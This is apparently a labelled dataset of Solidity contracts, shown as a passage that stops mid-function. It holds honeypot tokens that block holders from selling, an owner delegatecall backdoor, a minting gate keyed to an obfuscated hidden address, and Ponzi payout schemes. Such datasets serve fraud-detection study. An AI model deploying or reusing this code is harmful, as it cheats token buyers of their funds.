uint public decimals;
PriceTier[] public priceList;
uint8 public numTiers;
uint public currentTierIndex;
uint public totalDepositedEthers;
struct PriceTier {
uint costPerToken;
uint ethersDepositedInTier;
uint maxEthersInTier;
}
function setPricing() onlyOwner{
uint factor = 10 ** decimals;
priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor)) / (90 * factor)),0,5000 ether));
priceList.push(PriceTier(uint(1 ether / (80* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (50 wei * factor)) / (70* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (40 wei * factor)) / (60* factor)),0,5000 ether));
priceList.push(PriceTier(uint(1 ether / (50* factor)),0,5000 ether));
priceList.push(PriceTier(uint(1 ether / (40* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor))/ (30* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor))/ (15* factor)),0,30000 ether));
numTiers = 9;
}
function allocateTokensInternally(uint value) internal constant returns(uint numTokens){
if (numTiers == 0) return 0;
numTokens = 0;
uint8 tierIndex = 0;
for (uint8 i = 0; i < numTiers; i++){
if (priceList[i].ethersDepositedInTier < priceList[i].maxEthersInTier){
uint ethersToDepositInTier = min256(priceList[i].maxEthersInTier - priceList[i].ethersDepositedInTier, value);
numTokens = safeAdd(numTokens, ethersToDepositInTier / priceList[i].costPerToken);
priceList[i].ethersDepositedInTier = safeAdd(ethersToDepositInTier, priceList[i].ethersDepositedInTier);
totalDepositedEthers = safeAdd(ethersToDepositInTier, totalDepositedEthers);
value = safeSub(value, ethersToDepositInTier);
if (priceList[i].ethersDepositedInTier > 0)
tierIndex = i;
}
}
currentTierIndex = tierIndex;
return numTokens;
}
}
contract DAOController{
address public dao;
modifier onlyDAO{
if (msg.sender != dao) throw;
_;
}
}
contract CrowdSale is PricingMechanism, DAOController{
SphereTokenFactory public tokenFactory;
uint public hardCapAmount;
bool public isStarted = false;
bool public isFinalized = false;
uint public duration = 30 days;
uint public startTime;
address public multiSig;
bool public finalizeSet = false;
modifier onlyStarted{
if (!isStarted) throw;
_;
}
modifier notFinalized{
if (isFinalized) throw;
_;
}
modifier afterFinalizeSet{
if (!finalizeSet) throw;
_;
}
function CrowdSale(){
tokenFactory = SphereTokenFactory(0xf961eb0acf690bd8f92c5f9c486f3b30848d87aa);
decimals = 4;
setPricing();
hardCapAmount = 75000 ether;
}
function startCrowdsale() onlyOwner {
if (isStarted) throw;
isStarted = true;
startTime = now;
}
function setDAOAndMultiSig(address _dao, address _multiSig) onlyOwner{
dao = _dao;
multiSig = _multiSig;
finalizeSet = true;
}
function() payable stopInEmergency onlyStarted notFinalized{
if (totalDepositedEthers >= hardCapAmount) throw;
uint contribution = msg.value;
if (safeAdd(totalDepositedEthers, msg.value) > hardCapAmount){
contribution = safeSub(hardCapAmount, totalDepositedEthers);
}
uint excess = safeSub(msg.value, contribution);
uint numTokensToAllocate = allocateTokensInternally(contribution);
tokenFactory.mint(msg.sender, numTokensToAllocate);
if (excess > 0){
msg.sender.send(excess);
}
}
function finalize() payable onlyOwner afterFinalizeSet{
if (hardCapAmount == totalDepositedEthers || (now - startTime) > duration){
dao.call.gas(150000).value(totalDepositedEthers * 3 / 10)();
multiSig.call.gas(150000).value(this.balance)();
isFinalized = true;
}
}
function emergencyCease() payable onlyStarted onlyInEmergency onlyOwner afterFinalizeSet{
isFinalized = true;
isStarted = false;
multiSig.call.gas(150000).value(this.balance)();
}
} | 0 | 2,171 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BeneficiaryChangeableTimelock is TokenTimelock, Ownable {
event BeneficiaryChanged(address oldBeneficiary, address newBeneficiary);
function changeBeneficiary(address _beneficiary) public onlyOwner {
emit BeneficiaryChanged(beneficiary, _beneficiary);
beneficiary = _beneficiary;
}
function release () public {
require (beneficiary != 0x0);
TokenTimelock.release();
}
}
contract TestTimelock is BeneficiaryChangeableTimelock {
constructor()
Ownable()
TokenTimelock(
ERC20Basic(0x8c39afDf7B17F12c553208555E51ab86E69C35aA),
0x0,
1549617690
)
public {}
} | 1 | 4,861 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,850 |
pragma solidity ^0.4.25;
contract MMMultiplierX {
uint constant public MULTIPLIER = 200;
uint totalIn;
uint public maxDep = (100000000000000000000+totalIn)/100;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= maxDep);
totalIn += msg.value;
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
} | 0 | 487 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,688 |
pragma solidity ^0.4.24;
contract EasyHOLD {
mapping (address => uint256) invested;
mapping (address => uint256) atTime;
function () external payable {
if (invested[msg.sender] != 0) {
uint waited = block.timestamp - atTime[msg.sender];
uint256 amount = invested[msg.sender] * waited * waited / (25 days) / (25 days);
msg.sender.send(amount);
}
atTime[msg.sender] = block.timestamp;
invested[msg.sender] += msg.value;
}
} | 0 | 2,230 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 finney;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 5,405 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
